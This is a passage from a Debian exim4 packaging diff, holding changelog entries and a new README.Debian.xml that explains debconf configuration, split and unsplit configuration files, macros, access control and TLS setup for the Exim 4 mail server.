/var/spool/exim4 is not open to attacks by + bugs in programs SGID mail (mail delivery agents like deliver or + procmail, or MUAs like pine) anymore. This is Debian's default setup. + - OTOH if you need to be able to make local deliveries to /var/mail and + want to run exim with reduced priviledge you have some additional work + to do: + * Use an SGID MDA for the actual delivery (I suggest maildrop.) + * Make changes to run exim4 under group mail: + - exim_group=mail. + - Hack: make Debian-exim a group with gid=8, i.e. an alias for + the mail group, _before_ you make the upgrade. (groupadd -o -g 8 + Debian-exim) + + -- Andreas Metzler <ametzler@debian.org> Sun, 7 Dec 2003 13:59:46 +0100 + +exim4 (4.24-1) unstable; urgency=low + + * This version of exim cannot run deliveries as root anymore, see change + 5a for exim 4.23 in /usr/share/doc/exim4-base/changelog.gz. If you + don't redirect mail for root via /etc/aliases to a nonpriviledged + account the mail will be delivered to /var/mail/mail with permissions + 0600 and owner mail:mail. + + -- Andreas Metzler <ametzler@debian.org> Fri, 3 Oct 2003 18:11:17 +0200 + +exim4 (4.22-2) unstable; urgency=low + + Include exiscan-acl patch http://duncanthrax.net/exiscan-acl/ in + -heavy and -custom for easy integration of content-scanning and + invoking spamassassin at SMTP time. + + -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 12:50:59 +0200 + +exim4 (4.22-1) unstable; urgency=low + + * The way that the $h_ (and $header_) expansions work has been changed + by the addition of RFC 2047 decoding. See the main documentation (the + NewStuff file until release 4.30, then the manual) for full details. + + Exim shipped with Debian defaults to HEADER_DECODE_TO="UTF-8" + + -- Andreas Metzler <ametzler@debian.org> Mon, 18 Aug 2003 16:51:47 +0200 + +exim4 (4.20-2) unstable; urgency=low + + Rewriting now uses /etc/email-addresses instead of + /etc/exim4/email-addresses like exim v3 did. Please move the contents to + the new file and delete the old one, when you have time to spare. + + -- Andreas Metzler <ametzler@debian.org> Tue, 15 Jul 2003 10:20:15 +0200 diff --git a/debian/README.Debian.xml b/debian/README.Debian.xml new file mode 100644 index 0000000..df8f4a3 --- /dev/null +++ b/debian/README.Debian.xml @@ -0,0 +1,2007 @@ +<?xml version="1.0" encoding="utf-8"?> +<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN" + "http://www.docbook.org/xml/4.4/docbookx.dtd"> +<article> <title>Exim 4 for Debian</title> + <section> <title>Introduction</title> + <para> + If you're reading this, you have found the README.Debian + file. This is good, thanks! Please continue reading this file in + its entirety. It is full of important information and has been + written with the questions in mind that keep popping up on the + mailing lists. + </para> + <section> <title>How to find your way around the Documentation</title> + <para> + Exim comes with very extensive documentation. Here is how to + find it. + <orderedlist> + <listitem> + <simpara> + A lot of information about Debian's Exim 4 + packaging can be found in this document. + </simpara> + </listitem> + <listitem> + <simpara> + The packages contain a lot of Debian-specific man pages. + Use the <command>apropos exim</command> command to get a list. + </simpara> + </listitem> + <listitem> + <simpara> + Most files that control the default configuration are + documented in the exim4-config_files(5) man page, which + is symlinked to the file names. man <filename> should + lead you to the page. + </simpara> + </listitem> + <listitem> + <para> + The very extensive Upstream documentation is shipped + <orderedlist> + <listitem> + <simpara> + in text form + (<filename>/usr/share/doc/exim4-base/spec.txt.gz</filename>) + with the binary packages. + </simpara> + </listitem> + <listitem> + <simpara> + in HTML in the package + <filename>exim4-doc-html</filename> + </simpara> + </listitem> + <listitem> + <simpara> + as a Texinfo file in the package + <filename>exim4-doc-info</filename> + </simpara> + </listitem> + </orderedlist> + </para> + </listitem> + </orderedlist> + </para> + <para> + Please note that documentation found on the web or in other + parts of the Debian system (such as the Debian Reference) + might be outdated and thus give wrong advice. In doubt, the + documentation listed above should take precedence. + </para> + </section> + <section> <title>Getting Support</title> + <para> + For your questions and comments, there is a <ulink + url="http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users"> + Debian-specific mailing list</ulink>. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if + you are sure that your question is not Debian-specific. + Debian-specific questions are more likely to find answers on + our pkg-exim4-users mailing list, while complex custom + configuration issues might be more easily solved on the + upstream exim-users mailing list because of the broader and + more experienced audience there. You can subscribe to + pkg-exim4-users <ulink + url="http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users"> + via the subscription web page;</ulink> you need to be + subscribed to post. + </para> + <para> + If you think that your question might be more easily answered + if one knows a bit about your configuration, you might want to + execute <command>reportbug --subject="none" --offline --quiet + --severity=wishlist --body="none" --output=exim4.reportbug + exim4-config</command> on the system in question, answer yes + to both "include [extended] configuration" questions and include + the contents of the exim4.reportbug file generated by this + command with your question. Please check whether the file + contains any confidential information before sending. + </para> + </section> + <section> <title>Packaging</title> + <para> + Similar to the Apache2 package, Exim 4 is an entirely + different package that does not currently offer a smooth + upgrade path from Debian's Exim 3 packages. + </para> + <para> + It is the first Exim package in Debian that can be configured + using debconf. However, the entire configuration framework is + extremely flexible, allowing you to get exactly the amount of + control you need for the job at hand. + </para> + <section> <title>Feature Sets in the daemon packages</title> + <para> + To use Exim 4, you need at least the following packages: + <variablelist> + <varlistentry> + <term>exim4-base</term> + <listitem> + <simpara>support files for all Exim MTA (v4) packages</simpara> + </listitem> + </varlistentry> + <varlistentry> + <term>exim4-config</term> + <listitem> + <simpara>configuration for the Exim MTA (v4)</simpara> + </listitem> + </varlistentry> + <varlistentry> + <term>exim4-daemon-light</term> + <listitem> + <simpara>lightweight exim MTA (v4) daemon</simpara> + </listitem> + </varlistentry> + </variablelist> + </para> + <para> + Just apting the metapackage <command>exim4</command> will pull + in the other packages per dependency. You'll get an exim daemon + with minimal feature set (no external lookups). + </para> + <para> + If you need more advanced features like LDAP, sqlite, PostgreSQL + and MySQL data lookups, SASL and SPA SMTP authentication, embedded + Perl interpreter, and exiscan-acl for integration of + virus-scanners and SpamAssassin, you can replace + <command>exim4-daemon-heavy</command> instead of + <command>exim4-daemon-light</command>. Additionally, the source + package offers infrastructure to build your own custom-tailored + exim4-daemon-custom which exactly fits your special local needs. + The infrastructure to do so is already in place, see + debian/rules for instructions. + </para> + </section> + <section> <title>How to build a custom daemon</title> + <para> + The process of building a custom daemon is partially + documented in the <filename>debian/rules</filename> file + in the source package. Patches for more documentation are welcome. + </para> + </section> + </section> + </section> + <section> <title>Configuration of Exim 4 in the Debian packages</title> + <para> + Generally, the Debian Exim 4 packages are configured through + debconf. You have been asked some questions on package installation, + and your initial Exim configuration has been created from your + answers. You can repeat the configuration process any time by invoking + <command>dpkg-reconfigure exim4-config</command>. If you are an + experienced Exim administrator and prefer to have your own, + hand-crafted, non-automatic Exim configuration, you will find + information about how to do so in + <xref linkend="completely-different-configuration"/>. + </para> + <para> + The debconf-driven configuration is mainly geared for a + one-domain shell account machine/workstation with local delivery + as suggested by the original upstream default configuration. + If you configure the packages to handle more than one local + domain, all local domains are treated identically. The domain + part is not used for routing and filtering decisions. + </para> + <para> + Despite the default configuration being extended somewhat from + the original upstream, chances are that you'll need to + manually change the Exim configuration with an editor if you intend to + do something that is not covered by the debconf-driven configuration. + It has never been the packages' intention to offer all possible + configuration methods through debconf. The configuration files are + there to be changed, feel free to do so if you see fit. The Debian + Exim 4 maintainers have tried to make the configuration as flexible as + possible so that manual intervention can be minimized. + </para> + <para> + If you need to make manual changes to the Exim configuration, + please be familiar with how Exim works. At minimum, have read this + README file and the manpages delivered with the Debian Exim 4 + packages, and <filename>/usr/share/doc/exim4-base/spec.txt.gz</filename> + chapters <phrase>"How Exim receives and delivers mail"</phrase> and + <phrase>"The Exim run time configuration file"</phrase>. + <filename>spec.txt.gz</filename> is an excellent reference. + </para> + <para> + Please note that while most free-form fields in the + debconf-driven configuration have the entered string end up + verbatim in Exim's configuration file (and thus using more + advanced features like host, address and domain lists is possible + and will probably work), this is not officially supported. + Only plain lists are supported in the debconf dialogs. You may + use more advanced features, but they may stop working any time + during upgrades. + </para> + <section> <title>The Configuration System</title> + <section id="debconf-questions"> <title>The Debconf questions</title> + <para> + In this section, we try to document and explain the debconf + questions, which are themselves limited to a small screen of + information and might leave questions unanswered. Since you + can usually read this file only after having answered the + questions, the process can always be repeated by invoking + <command>dpkg-reconfigure exim4-config.</command> + <filename>/etc/exim4/update-exim4.conf.conf</filename>, + documented in the <command>update-exim4.conf</command> + manual page, is + a simple shell-script snippet used to store the answers + that you passed to debconf when initially configuring Exim. + You may also modify this file with an editor of your choice. + The package maintainer scripts can handle this and will + preserve your changes. + </para> + <section> <title>General type of mail configuration</title> + <para> + This is the main configuration question which will + control which of the remaining questions are + presented to you. It also controls things like daemon + invocation and delivery of outgoing mail. + </para> + <section> <title> internet site; mail is sent and + received directly using SMTP</title> + <para> + This option is suitable for a standalone system + with full internet connectivity. + </para> + <itemizedlist> + <listitem> + <para> + The Exim SMTP daemon will accept messages + to local domains, and deliver them locally. + </para> + </listitem> + <listitem> + <para> + Outgoing mail will be delivered directly + to the mail exchange servers of the + recipient domain + </para> + </listitem> + </itemizedlist> + </section> + <section> <title> mail sent by smarthost; received via + SMTP or fetchmail</title> + <para> + This option is suitable for a standalone client system + which has restricted internet connectivity, for + example on a residential connection where an SMTP + smarthost is used. Some ISPs block outgoing SMTP + connections to combat the spam problem, thus + requiring the use of their smarthosts. It is + generally a good idea to use the ISPs smart host + if one is connected with a dynamic IP address + since quite a few sites do not accept mail + directly delivered from a dial-in pool. + </para> + <para> + fetchmail can be used to retrieve incoming mail + from the ISP's POP3 or IMAP mail server and + deliver it to Exim via SMTP. + </para> + <itemizedlist> + <listitem> + <para> + The Exim SMTP daemon will accept messages + to local domains, and deliver them locally. + </para> + </listitem> + <listitem> + <para> + Outgoing mail will always be delivered to + the smarthost configured in exim4. + </para> + </listitem> + </itemizedlist> + </section> + <section> <title>mail sent by smarthost; no local mail</title> + <para> + This option is suitable for a client system in a + computer pool which is not responsible for a local + e-mail domain. All locally generated e-mail is + sent to the smarthost without any local domains. + </para> + </section> + <section> <title>local delivery only; not on a network</title> + <para> + This option is suitable for a standalone system + with no networking at all. Only messages for configured + local domains are accepted and delivered locally; + messages for all other domains are rejected: + ``Mailing to remote domains not supported''. + </para> + </section> + <section> <title>no configuration at this time</title> + <para> + This option disables most of Debian's automatisms + and leaves exim in an unconfigured state. + update-exim4.conf will still copy + <filename>/etc/exim4/exim4.conf.template</filename> + or concatenate the files from + <filename>/etc/exim4/conf.d,</filename> and will + not generate any configuration control macros. + Unless you manually edit the configuration source, + this will leave Exim with a syntactically invalid + configuration file, thus in a state where the + daemon won't even start. + </para> + <para> + Only choose this option if you know what you're + doing and are prepared to create your own Exim + configuration. + </para> + <para> + dpkg-conffile handling is still in place, and you + will be offered updates for configuration + snippets, as soon as they become available. + </para> + </section> + </section> + <section> <title>System mail name</title> + <para> + The "mail name" is the domain name used to "qualify" + mail addresses without a domain name. + </para> + <para> + This name will also be used by other programs. It + should be the single, full domain name (FQDN). + </para> + <para> + For example, if a mail address on the local host is + foo@example.org, then the correct value for this + option would be example.org. + </para> + <para> + Exim, as a rule, handles only fully qualified mail + addresses, that is, addresses with a local part, an @ + sign and a domain. If confronted with an unqualified + address, that is, one without @ sign and without + domain, first thing exim does is qualify the address + by adding the @ sign and a domain. + </para> + <para> + This qualification happens for all addresses exim + encounters, be it sender, recipient or else. + </para> + <para> + The domain name used to qualify unqualified mail addresses + is called ``mail name'' on Debian systems and entered + in this debconf dialog. What you enter here will end + up in <filename>/etc/mailname,</filename> which is a + file that might be used by other programs as well. + </para> + <para> + In some configuration types, the package configuration + will offer you, at a later step, to hide this name + from outgoing messages by rewriting the headers. + </para> + </section> + <section> <title>IP addresses to listen on for incoming SMTP + connections</title> + <para> + Please enter a semicolon-separated list of IP addresses. + The Exim SMTP listener daemon will listen on all IP + addresses listed here. + </para> + <para> + An empty value will cause Exim to listen for connections + on all available network interfaces. + </para> + <para> + If this system does only receive e-mail directly from + local services (and not from other hosts), + it is suggested to prohibit external connections to the + local Exim daemon. Such services include e-mail + programs (MUSs) which talk to localhost only as well as + fetchmail. External connections are impossible when + 127.0.0.1 is entered here, as this will disable listening + on public network interfaces. + </para> + <para> + Do not change this unless you know what you are doing. + Altering this value could post a security risk to your + system. For most users, the default value is sufficient. + </para> + </section> + <section> <title>Other destinations for which mail is accepted</title> + <para> + Please enter a semicolon-separated list of recipient + domains for which this machine should consider itself + the final destination. These domains are commonly + called 'local domains'. The local hostname and 'localhost' + are always added to the list given here. + </para> + <para> + By default all local domains will be treated + identically. If both a.example and b.example are + local domains, acc@a.example and acc@b.example will + be delivered to the same final destination. If + different domain names should be treated differently, + it is necessary to edit the config files afterwards. + </para> + <para> + The answer to this question ends up in the list of + domains that Exim will consider local domains. Mail + for recipients in one of these domains will be + subject to local alias expansion and then delivered + locally in the appropriate configuration types. + </para> + </section> + <section> <title>Domains to relay mail for</title> + <para> + Please enter a semicolon-separated list of recipient + domains for which this system will relay mail, for + example as a fallback MX or mail gateway. This means + that this system will accept mail for these domains + from anywhere on the Internet and deliver them + according to local delivery rules. + </para> + <para> + Do not mention local domains here. Wildcards may be used. + </para> + <para> + The answer to this question is a list of the domains + for which Exim will relay messages coming in from anywhere + on the Internet. + </para> + </section> + <section> <title>Machines to relay mail for</title> + <para> + Please enter a semicolon-separated list of IP address + ranges for which this system will unconditionally relay + mail, functioning as a smarthost. + </para> + <para> + You should use the standard address/prefix format + (e.g. 194.222.242.0/24 or 5f03:1200:836f::/48). + </para> + <para> + If this system should not be a smarthost for any + other host, leave this list blank. + </para> + <para> + Please note that systems not listed here can still use + SMTP AUTH to relay through this system. If this system + only has clients on dynamic IP addresses that use SMTP + AUTH, leave this list blank as well. Do + <emphasis>NOT</emphasis> list 0.0.0.0/0! + </para> + <para> + Warning: While it is possible to use + host<emphasis>names</emphasis> instead of IP addresses in this + list extra care needs to be taken in this case. + <emphasis>Unresolvable names in the host list will break + relaying.</emphasis> See + Exim specification chapter <phrase>"Domain, host, address, and + local part lists"</phrase> + and the exim4-config_files man page. + </para> + </section> + <section> <title>IP address or host name of the outgoing + smarthost</title> + <para> + Please enter the IP address or the host name of a mail + server that this system should use as outgoing + smarthost. If the smarthost only accepts your mail on + a port different from TCP/25, append two colons and + the port number (for example smarthost.example::587 or + 192.168.254.254::2525). Colons in IPv6 addresses need + to be doubled. + </para> + <para> + If the smarthost requires authentication, please refer + to <xref linkend="smtp-auth"/> for notes about setting + up SMTP authentication. + </para> + <para> + Multiple smarthost entries are permitted, semicolon + separated. Each of the hosts is tried, in the order + specified (See Exim specification, chapter + <phrase>"The manualroute router"</phrase>, section + <phrase>"How the list of hosts is used"</phrase>.) + </para> + </section> + <section> <title>Hide local mail name in outgoing mail</title> + <para> + The headers of outgoing mail can be rewritten to make + it appear to have been generated on a different + system, replacing the local host name in From, + Reply-To, Sender and Return-Path. + </para> + </section> + <section> <title>Visible domain name for local users</title> + <para> + If you ask Exim to hide the local mail name in + outgoing mail, it will next ask you for the domain + name that should be visible for your local users. + These information is then used to establish the + appropriate rewriting rules. + </para> + </section> + <section> <title>Keep number of DNS queries minimal + (Dial-on-Demand)</title> + <para> + In normal mode of operation Exim does DNS lookups at + startup, and when receiving or delivering messages. + This is for logging purposes and allows keeping down + the number of hard-coded values in the configuration. + </para> + <para> + If this system does not have a DNS full service + resolver available at all times (for example if its + Internet access is a dial-up line using + dial-on-demand), this might have unwanted + consequences. For example, starting up Exim or + running the queue (even with no messages waiting) + might trigger a costly dial-up-event. + </para> + <para> + This option should be selected if this system is + using Dial-on-Demand. If it has always-on Internet + access, this option should be disabled. + </para> + </section> + <section><title>Delivery method for local mail</title> + <para> + Exim is able to store locally delivered mail in + different formats. The most commonly used ones are + mbox and Maildir. mbox uses a single file for the + complete mail folder stored in /var/mail/. With + Maildir format every single message is stored in a + separate file in ~/Maildir/. + </para> + <para> + Please note that most mail tools in Debian expect the + local delivery method to be mbox in their default. + </para> + </section> + <section> <title>Split configuration into small files</title> + <para> + Our packages offer two (actually three, see + <xref linkend="completely-different-configuration"/>) + possibilities: + </para> + <orderedlist> + <listitem> + <simpara> + Generate Exim's configuration from + <filename>/etc/exim4/exim4.conf.template,</filename> + which is basically a normal Exim run-time + configuration file which will be supplemented + with some macros generated from Debconf in a + post-processing step before it is passed to exim. + </simpara> + </listitem> + <listitem> + <simpara> + Generate Exim's configuration from the + multiple files in + <filename>/etc/exim4/conf.d/</filename>. The + directories in + <filename>/etc/exim4/conf.d/</filename> + correspond to the sections of the Exim + run-time configuration file, so you should + easily find your way around there. + </simpara> + </listitem> + </orderedlist> + <para> + Splitting the configuration across multiple files + means that you have the actual configuration file + automatically generated from the files below + <filename>/etc/exim4/conf.d/</filename> by invoking + <command>update-exim4.conf</command>. Each section + of Exim's configuration has its own subdirectory and + the files in there are supposed to be read in + alphanumeric order. + <filename>router/00_exim4-config_header</filename> + is followed by + <filename>router/100_exim4-config_domain_literal</filename>, + ... + </para> + <para> + If you chose unsplit configuration, + <command>update-exim4.conf</command> builds the + configuration from + <filename>/etc/exim4/exim4.conf.template</filename>, + which is basically the files from + <filename>/etc/exim4/conf.d/</filename> concatenated + together at package build time, and thus guarantees + consistency on the target system. + </para> + <para> + In both cases, <command>update-exim4.conf</command> + generates exim configuration macros from the debconf + configuration values and puts them into + the actual configuration file, which is then used by + the Exim daemon. See the + <command>update-exim4.conf</command> manual + page for more in-depth information about this + mechanism. + </para> + <para> + Benefits of the split configuration approach: + <itemizedlist> + <listitem> + <simpara> + it means less work for you when upgrading. + If we shipped one big file and modified + for example the Maildir transport in a new + version you won't have to do manual + conffile merging unless you had changed + exactly <emphasis>this</emphasis> + transport. + </simpara> + </listitem> + <listitem> + <simpara> + It allows other packages (e.g. sa-exim) to + modify Exim's configuration by dropping + files into + <filename>/etc/exim4/conf.d</filename>. + This needs, however quite exact syncing + between the exim4 packages and the other, + cooperating package. + </simpara> + </listitem> + </itemizedlist> + </para> + <para> + Drawbacks of the split configuration approach: + <itemizedlist> + <listitem> + <simpara> + It is more fragile. If files from + different sources (package, manually + changed, or other package) get out of + sync, it is possible for Exim to break + until you manually correct this. This can + for example happen if we decide to add a + new option to the Debian setup of a later + version, and you have already set this + option in a local file. + </simpara> + </listitem> + </itemizedlist> + </para> + <para> + Benefits of the unsplit configuration approach: + <itemizedlist> + <listitem> + <simpara> + People familiar with configuring Exim may + find this approach easier to understand as + <filename>exim4.conf.template</filename> + basically is a complete Exim configuration + file which will only undergo some basic + string replacement before is it passed to + exim. + </simpara> + </listitem> + <listitem> + <simpara> + Split-config's fragility mentioned + above does not occur. + </simpara> + </listitem> + </itemizedlist> + </para> + <para> + Drawbacks of the unsplit configuration approach: + <itemizedlist> + <listitem> + <simpara> + Will require manual intervention in case of an + upgrade. + </simpara> + </listitem> + </itemizedlist> + </para> + <para> + If in doubt go for the unsplit config, because it is + easier to roll back to Debian's default configuration + in one step. If you intend to do many changes to the + Debian setup, you might want to use the split config + at the price of having to more closely examine the + config file after an update. + </para> + <para> + We'd appreciate a patch that uses ucf and the + 3-way-merge mechanism offered by that package. It + might be the best way to handle the big configuration + file. + </para> + <para> + If you are using unsplit configuration, have local + changes to <filename>/etc/exim4/conf.d/</filename> + (either made by yourself or by other packages dropping + their own routers or transports in) and want to + re-generate + <filename>/etc/exim4/exim4.conf.template</filename> to + activate these changes, you can do so by using + <command>update-exim4.conf.template</command>. + </para> + </section> + </section> + <section> <title>Access Control in the default configuration</title> + <para> + The Debian exim 4 packages come with a default configuration + that allows flexible access control and blacklisting of + sites and hosts. The acls involved can be found in + /etc/exim4/conf.d/acl, or in /etc/exim4/exim4.conf.template, + depending on which configuration scheme you use. Most + rejections of messages due to this mechanism happen at RCPT + time. Local configuration of the mechanisms happens through + data files in /etc/exim4 or via Exim macros that you can set + in /etc/exim4/conf.d/main, so there is normally no need to + change the files in the acl subdirectory in a split-config + setup. If you use the non-split config, you need to edit + /etc/exim4/exim4.conf.template, which, as a big + dpkg-conffile, won't give you any advantage of the .ifdef + scheme. + </para> + <para> + The data files are documented in the exim4-config_files man + page. + </para> + <para> + The access lists delivered with the exim4 packages also + contain quite a few configuration options that are too + restrictive to be active by default on a real-life site. + These are masked by .ifdef statements, can be activated by + setting the appropriate macros, and are documented in the + ACL files itself. + </para> + </section> + <section id='macros'> <title>Using Exim Macros to control the + configuration</title> + <para> + Our configuration can be controlled in a limited way by + setting macros. That way, you can switch on and off certain + parts of the default configuration and/or override values set + in Debconf without having to touch the dpkg-conffiles. While + touching dpkg-conffiles itself is explicitly allowed and wanted, + it can be quite a nuisance to be asked on package upgrade + whether one wants to use the locally changed file or the + file changed by the package maintainer. + </para> + <para> + Whenever you see an <command>.ifdef</command> or + <command>.ifndef</command> clause in the configuration file, + you can control the appropriate clause by setting the macro in + a local configuration file. For split configuration, you can + drop the local configuration file anywhere in + <filename>/etc/exim4/conf.d/main</filename>. Just make sure it + gets read before the macro is first used. + <filename>000_localmacros</filename> is a possible name, + guaranteeing first order. For a non-split configuration, + <filename>/etc/exim4/exim4.conf.localmacros</filename> gets + read before + <filename>/etc/exim4/exim4.conf.template</filename>. To + actually set the macro <varname>EXIM4_EXAMPLE</varname> to the + value "this is a sample", write the following line + </para> + <para> + EXIM4_EXAMPLE = this is a sample + </para> + <para> + into the appropriate file. For more detailed discussion of the + general macro mechanism, see the Exim specification, chapter + <phrase>"The Exim run time configuration file"</phrase>, for + details how macro expansion works. + </para> + </section> + <section> <title>How does this work?</title> + <para> + The script <command>update-exim4.conf</command> parses the + <filename>/etc/exim4/update-exim4.conf.conf</filename> file + and provides the configuration for the exim daemon. + </para> + <para> + Depending on the value of + <varname>dc_use_split_config</varname>, it either + <itemizedlist> + <listitem> + <simpara> + takes all the files below + <filename>/etc/exim4/conf.d/</filename> and + concatenates them together or + </simpara> + </listitem> + <listitem> + <simpara> + uses <filename>exim4.conf.template</filename> as + input. + </simpara> + </listitem> + </itemizedlist> + The debconf-managed information from + <filename>/etc/exim4/update-exim4.conf.conf</filename> is + merged into the generated configuration file by generating a + number of Exim configuration macros. + </para> + <para> + <varname>DCsmarthost</varname>, for example, is set to the + value of <varname>$dc_smarthost</varname> + in <filename>/etc/exim4/update-exim4.conf.conf</filename> + which holds the answer to "Which machine will act as the + smarthost and handle outgoing mail?" + </para> + <para> + The result of these operations is saved as + <filename>/var/lib/exim4/config.autogenerated</filename>, + which is <emphasis>not</emphasis> a dpkg-conffile! Manual + changes to this file will be overwritten by + <command>update-exim4.conf</command>. + </para> + <para> + Please consult <command>update-exim4.conf</command> manpage + for more detailed information. + </para> + <para> + <command>update-exim4.conf</command> is invoked by the init + script prior to any operation that may invoke an exim process, + and gives an error message if the generated config file is + syntactically invalid. If you want to activate your changes to + files in conf.d/ just execute <command>invoke-rc.d exim4 restart</command>. + </para> + </section> + <section id="howto-change-config"><title>How do I do minor tweaks to the configuration?</title> + <para> + Some times, you want to do minor adjustments to the Exim + configuration to make Exim behave exactly like you want it + to behave. There are the following possibilities to modify + Exim's behavior. + </para> + <section><title>Adjustments supported by the debconf configuration</title> + <para> + If you want to modify parameters that are supported by the + debconf configuration, things are easy. Just invoke + <command>dpkg-reconfigure exim4-config</command> or hand-edit + <filename>/etc/exim4/update-exim4.conf.conf</filename> to your + liking and restart Exim. + </para> + <para> + You can find explanation of the debconf questions in <xref + linkend="debconf-questions"/>. + Additionally, + <filename>/etc/exim4/update-exim4.conf.conf</filename> + is documented in the <command>update-exim4.conf</command> + man page. + </para> + </section> + <section><title>Adjustments controlled by macros in the Debian Exim configuration</title> + <para> + Some aspects of the Debian Exim configuration can be + controlled by Exim macros. To find out about these, you + need basic understanding of Exim configuration. Just look + in our Exim configuration and see which macro needs to be + set to a different value to alter Exim's behavior. + </para> + <para> + <xref linkend="macros"/> gives a closer explanation about + how to do this. + </para> + </section> + <section><title>Making direct changes to the Debian Exim configuration</title> + <para> + You can, of course, make direct change to the + configuration. All configuration files in /etc/exim4 are + dpkg-conffiles, and you can thus edit them any time. Your + changes will be preserved through updates. You need to + know about how to configure Exim to be successful. + </para> + <para> + If you use unsplit configuration, edit + <filename>/etc/exim4/exim4.conf.template</filename>. If you use + split configuration, edit the Exim configuration snippets in + <filename>/etc/exim4/conf.d</filename>. + </para> + <para> + More information about how the Exim configuration is built + can be found in this document and in the + <command>update-exim4.conf</command> manual page. + </para> + </section> + </section> + <section id="completely-different-configuration"> <title>Using a completely different configuration scheme</title> + <para> + If you are an experienced Exim administrator, you might feel + working with our pre-fabricated configuration + cumbersome and complex. You might feel right if you need to + make more complex changes and do not need to receive updates + from us. This section is going to tell about how to use + your own configuration. + </para> + <para> + But, you might profit from keeping the Debian magic. Most + files that come with Debian exim4 are conffiles. Debian is + going to care about your changes and keeps them around. + Additionally, a lot of configuration options can be + overridden with a macro, which does not require you to + actually change our configuration file. A lot of people are + using our configuration scheme, and maybe it is going to + save you a lot of time if you decide to spend some time + familiarizing yourself with our scheme. + </para> + <section> <title>Override exim4-config configuration magic</title> + <para> + If you are only running a small number of systems and + want to completely disable Debian's magic, just take + your monolithic configuration file and install it as + <filename>/etc/exim4/exim4.conf</filename>. Exim will + use that file verbatim. To have something to start, + you can either take + <filename>/etc/exim4/exim4.conf.template</filename>, + run <command>update-exim4.conf --keepcomments --output + /etc/exim4/exim4.conf</command>, or use upstream's + default configuration file that is installed as + <filename>/usr/share/doc/exim4-base/examples/example.conf.gz</filename>. + You are going to lose all magic you get from packaging + though, so you need to be familiar with Exim to build + an actually working config. + </para> + <para> + <filename>/var/lib/exim4/config.autogenerated</filename>, + the file generated by + <command>update-exim4.conf</command>, is ignored as soon + as <filename>/etc/exim4/exim4.conf</filename> is found. + You should not edit + <filename>/etc/exim4/exim4.conf</filename> directly when + Exim is running, because the forked processes Exim starts + for SMTP receiving or queue running would use the new + configuration file, while the original main exim-daemon + would still use the old configuration file. + </para> + <para> + Some third-party HOWTOs that reference Debian and + claim to make things easy suggest dumping a + pre-fabricated, static config file to + <filename>/etc/exim4/exim4.conf</filename>. This is + considered bad advice by the Debian maintainers since + you are going to disable all updates and service magic + that Debian might deliver in the future this way. If + you do not know exactly what you're doing here, this + is a bad choice. We try to comment on external HOWTOs + found on the web in the <ulink + url="http://wiki.debian.org/PkgExim4UserFAQ">Debian + Exim4 User FAQ</ulink> to help you find out which + advice to follow. + </para> + </section> + <section> <title>Replacing exim4-config with your own exim4 configuration package.</title> + <para> + We split off Exim's configuration system (debconf, + <command>update-exim4.conf</command>, and the files in + <filename>/etc/exim4/conf.d)</filename> to a separate + package, exim4-config. If you want to, you can replace + exim4-config by something entirely different. The other + packages don't care. Your package needs to: + <itemizedlist> + <listitem> + <simpara> + Provides: exim4-config-2, Conflicts: + exim4-config-2,exim4-config + </simpara> + </listitem> + <listitem> + <simpara> + drop the Exim 4 configuration either into + <filename>/var/lib/exim4/config.autogenerated</filename> + or into <filename>/etc/exim4/exim4.conf</filename>. + </simpara> + </listitem> + </itemizedlist> + Your package must provide an executable <command>update-exim4.conf</command> + that must be in root's path (<filename>/usr/sbin</filename> recommended). The init + script will invoke that executable prior to invoking the + actual exim daemon. If you do not need that script, have it exit 0. + </para> + <para> + If you want to create your own configuration packages, there is a + number of helpers available. + <itemizedlist> + <listitem> + <simpara> + The Exim 4 Debian svn repository holds sources for a + exim4-config-simple package which contains a simple, not + debconf-driven configuration scheme as an example which can + be used as a template for a classical, exim4.conf based + configuration scheme. + </simpara> + </listitem> + <listitem> + <simpara> + The Exim 4 Debian svn repository holds sources for a + exim4-config-medium package which contains the conf.d + driven configuration of the main package with the + debconf interaction removed. This can be used to create + your own non-debconf configuration package that uses the + conf.d mechanism. + </simpara> + </listitem> + <listitem> + <simpara> + Finally, you can invoke the script + <filename>debian/config-custom/create-custom-config-package</filename> + which will create a new source package + "exim4-config-custom" with the debconf-driven config + scheme of exim4-config for your local modification. + </simpara> + </listitem> + </itemizedlist> + Please note that exim4-config-simple and + exim4-config-medium are only targeted to be used as a + template. The configurations contained are not + suitable for productive use. Of course, the Debian + maintainers appreciate any patches you might find + suitable. The scripts in exim4-config-simple and + exim4-config-medium may not work at all in your + environment. Unfortunately, they have not been + updated in a long time as well. We are willing to + accept patches. + </para> + <para> + See the development web page for links to the subversion + repository. + </para> + <para> + Exchanging the entire exim4-config package with + something custom comes particularly handy for sites + that have more than a few machines that are + similarly configured, but do not want to use the + original exim4-config package. Build your own + exim4-config-custom or exim4-config-foo, and simply + apt that package to the machines that need to have + that configuration. Future updates can then be + handled via the dpkg-conffile mechanism, properly + detecting local modifications. + </para> + <para> + In the future, it might be possible that Debian will + contain multiple flavours of Exim4 configuration. + However, these packages would have to be maintained + by someone else because the exim4 package + maintainers think that the scheme delivered with + exim4-config is the least of all evils and would + rather not spend the time to maintain multiple configuration + schemes while only actually using one. It would be + nice to have a configuration scheme using a + monolithic config file, managed by ucf in + three-way-merge mode. If anybody feels ready to + maintain it, please go ahead. + </para> + </section> + </section> + </section> + <section id="TLS"> <title>Using TLS</title> + <section> <title>Exim 4 as TLS/SSL client</title> + <para> + Both exim4-daemon-heavy and exim4-daemon-light support TLS/SSL + using the GnuTLS library and STARTTLS. Exim will use TLS + via STARTTLS <emphasis>automatically</emphasis> as client if + the server Exim connects to offers it. + </para> + <para> + This means that you will not need any special configuration if + you want to use TLS for outgoing mail. However, to enforce + TLS and successful certificate verification, a few things + need to be configured. + </para> + <para> + To enforce TLS and prevent fallback to unencrypted + connections, ensure that hosts_require_tls = * is in effect on + the respective transport. For the remote_smtp_smarthost + transport, this setting can be controlled via the + REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS macro. + </para> + <para> + The certificate presented by the remote host is checked + against the system CA certificate store + (<filename>/etc/ssl/certs/</filename>) and the verification + result is logged (CV=...). However successful certificate + verification is <emphasis>not enforced</emphasis> by default. + This can be changed by setting tls_verify_hosts = * on the + respective transport. + </para> + <para> + Another possibility would be to use DANE for certificate + verification. This requires support on the server side and + 